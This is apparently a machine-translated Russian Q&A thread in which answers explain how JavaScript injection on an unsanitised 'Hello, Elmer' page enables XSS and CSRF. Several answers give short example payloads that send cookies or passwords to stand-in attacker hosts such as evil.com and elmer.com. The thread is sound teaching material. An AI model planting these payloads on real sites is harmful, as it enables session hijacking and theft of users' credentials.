Какой вред может сделать javascript?

Я просто случайно прочитал блог joel здесь...

Так, например, если у вас есть веб-страница, в которой говорится: "Как тебя зовут?" с полем редактирования, а затем отправив эту страницу, вы перейдете на другую страницу, в которой говорится: "Привет, Элмер! (при условии, что имя пользователя - Elmer), ну, это уязвимость безопасности, потому что пользователь может вводить всевозможные странные HTML и JavaScript вместо" Elmer", и их странный JavaScript может делать навязчивые вещи, и теперь эти навязные вещи кажутся приходят от вас, поэтому, например, они могут читать файлы cookie, которые вы там помещаете, и направить их на злодейский сайт Dr. Evils.

Так как javascript работает на стороне клиента. Все, что он может получить или сделать, это только на стороне клиента.

Он может читать информацию, хранящуюся в скрытых полях, и изменять их.
Он может читать, писать или манипулировать кукисами...

Но я чувствую, эта информация в любом случае доступна ему. (если он достаточно умен, чтобы передавать javascript в текстовое поле, поэтому мы не предоставляем ему новую информацию или не предоставляем ему неоправданный доступ к нашему серверу...

Просто любопытно узнать, скучаю ли я что-то. Можете ли вы перечислить то, что вредоносный пользователь может сделать с этой дырой в безопасности.

Изменить: Спасибо всем за просвещение. Как отметил kizzx2 в одном из комментариев... Я не обращал внимания на то, что JavaScript, написанный пользователем A, может быть выполнен в браузере User B при многих обстоятельствах, и в этом случае это становится большим риском.

Ответ 1

Есть ответы, которые объясняют CSRF и XSS. Я говорю, что для конкретного цитируемого отрывка угрозы безопасности вообще нет.

Этот процитированный проход достаточно прост - он позволяет вам выполнить некоторый JavaScript. Поздравляю - я могу сделать то же самое с Firebug, который дает мне командную строку для игры, вместо того, чтобы подделывать ее, используя текстовое поле, которое дает мне какой-то веб-сайт, и я должен его оскорблять.

Я действительно думаю, что Джоэл не был таким трезвым, когда писал это. Пример был просто ошибочным.

Отредактируйте еще несколько разработок:

Мы должны помнить несколько вещей:

Код не может нанести никакого вреда, если не выполнен.
JavaScript может выполняться только на стороне клиента (да, есть серверный JavaScript, но, видимо, не в контексте этого вопроса/статьи)
Если пользователь пишет какой-то JavaScript, который затем запускается на его собственной машине - где вред? Нет, потому что он может выполнять JavaScript из Firebug в любое время, когда хочет, не проходя текстовое поле.

Конечно, есть CSRF, о котором другие люди уже объяснили. Единственный случай, когда существует угроза, - это то, где Пользователь А может написать код, который запускается в машине пользователя B.

Почти все ответы, которые непосредственно отвечают на вопрос "Какой вред может сделать JavaScript?" объясните в направлении CSRF - который требует, чтобы Пользователь A мог писать код, который может выполнить пользователь B.

Итак, вот более полная, две части ответа:

Если мы говорим о цитируемом отрывке, ответ "не вредит"

Я не интерпретирую смысл перехода как нечто похожее на описанный выше сценарий, поскольку он явно говорит об основном примере "Hello, Elmer world". Синтетически индуцировать неявные значения из прохода просто делает его более вводящим в заблуждение.

Если мы говорим о том, "Какой вред может сделать JavaScript, в общем," ответ связан с базовым XSS/CSRF

Бонус Вот несколько более реальных сценариев того, как CSRF (Пользователь A пишет JavaScript, который вызывается на машине пользователя B) может иметь место

Веб-страница принимает параметры от GET. Злоумышленник может заманить жертву посетить http://foo.com/?send_password_to=malicious.attacker.com
Веб-страница отображает один пользовательский контент дословно для других пользователей. Злоумышленник может помещать что-то подобное в свой URL-адрес аватара: <script>send_your_secret_cookies_to('http://evil.com')</script> (для этого требуется настройка, чтобы получить цитирование и т.д., Но вы получите идею)

Ответ 2

Скрипты на нескольких сайтах - действительно большая проблема с javascript-инъекцией

Ответ 3

Он может читать, писать или манипулировать файлами cookie

Это решающая часть. Вы можете украсть файлы cookie следующим образом: просто напишите script, который читает куки файл и отправляет его в какой-то злой домен, используя AJAX (с JSONP для преодоления проблем с перекрестным доменом, я думаю, вам даже не нужно беспокоиться о ajax, простой <img src="http://evil.com/?cookieValue=123"> будет достаточно) и напишите себе cookie аутентификации бедного парня.

Ответ 4

Я думаю, что в статье Джоэл упоминает, что сценарий, который он описывает, очень уязвим для Script Инъекционные атаки, два из наиболее известных из которых: Межсайтовый скриптинг (XSS) и Подделка запросов на межсайтовый запрос (CSRF).

Так как большинство веб-сайтов используют куки файлы как часть своего решения для управления проверкой подлинности/сеанса, если злоумышленник может вводить вредоносную script в разметку страницы, которая предоставляется другим пользователям, этот злоумышленник может делать целый хост вещей, в ущерб другим пользователям, таких как кража куки, совершать транзакции от их имени, заменять весь ваш обслуживаемый контент на свои собственные, создавать формы, которые подражают вашим собственным и размещать данные на их сайте и т.д. и т.д.

Ответ 5

Приведите ваш браузер к отправке запросов другим службам, используя данные аутентификации, а затем отправьте результаты злоумышленнику.
Покажите общую картину пениса вместо логотипа вашей компании.
Отправить личную информацию или файлы cookie для входа на сервер без вашего согласия.

Ответ 6

Я бы посмотрел статью wikipedia на безопасность javascript. Он охватывает ряд уязвимостей.

Ответ 7

Если вы отображаете данные на своей странице, которые поступают от пользователя, не дезактивируя эти данные, это огромная уязвимость в системе безопасности, и вот почему:

Представьте, что вместо "Hello, Elmer!" этот пользователь ввел

<script src="http://a-script-from-another-site.js" type="text/javascript"></script>

и вы просто показываете эту информацию на странице где-то, не дезинфицируя ее. Этот пользователь теперь может делать все, что захочет, на вашей странице, если другие пользователи не попадают на эту страницу. Они могут читать информацию cookie других пользователей и отправлять их в любом месте, они хотят изменить свой CSS и скрыть все на вашей странице и отобразить собственный контент, они могут заменить вашу регистрационную форму своей собственной, которая отправляет информацию в любое место, которое они хотят и т.д. Настоящая опасность - это когда другие пользователи приходят на ваш сайт после этого пользователя. Нет, они ничего не могут сделать прямо на вашем сервере с помощью JavaScript, которые они не могут сделать в любом случае, но что они могут сделать, это получить доступ к информации от других людей, которые посещают ваш сайт.

Если вы сохраняете эту информацию в базе данных и отображаете ее, все пользователи, которые посещают этот сайт, будут обслуживать этот контент. Если он просто соответствует тому, что происходит из формы, которая на самом деле нигде не сохраняется (отправка формы и получение данных из запроса GET или POST), пользователь может злонамеренно создать URL-адрес (oursite.com/whatsyourname.php? username = Elmer, но вместо Elmer, вы добавили свой JavaScript) на свой сайт, который содержал JavaScript и обманул другого пользователя, посетив эту ссылку.

Пример с сохранением информации в базе данных: пусть у вас есть форум, на котором есть форма входа на главной странице, а также списки сообщений и их имена пользователей (которые вы не дезинфицируете). Вместо фактического имени пользователя кто-то подписывает свое имя пользователя как тег <script>. Теперь они могут делать что угодно на вашей первой странице, что выполнит JavaScript, и каждый пользователь, посещающий ваш сайт, будет обслуживать этот бит JavaScript.

Ответ 8

Небольшой пример, показанный мне некоторое время назад в классе XSS.

Предположим, что Элмер - любительский хакер. Вместо того, чтобы писать свое имя в поле, он набирает это:

<script>$.ajax("http://elmer.com/save.php?cookie=" + document.cookie);</script>

Теперь, если на сервере хранится журнал значений, написанных пользователями, а некоторые администраторы регистрируются и просматривают эти значения... Elmer получит cookie этого администратора!

Ответ 9

Скажем, пользователь будет читать ваш исходный код и делать свою собственную настройку, например, ajax-call, отправляя нежелательные данные на ваш сервер. Некоторые разработчики хорошо защищают прямой пользовательский доступ, но могут быть не столь осторожны, чтобы защищать вызовы базы данных, сделанные с помощью ajax-вызова, где разработчик считает, что он контролирует все данные, которые отправляются через вызов.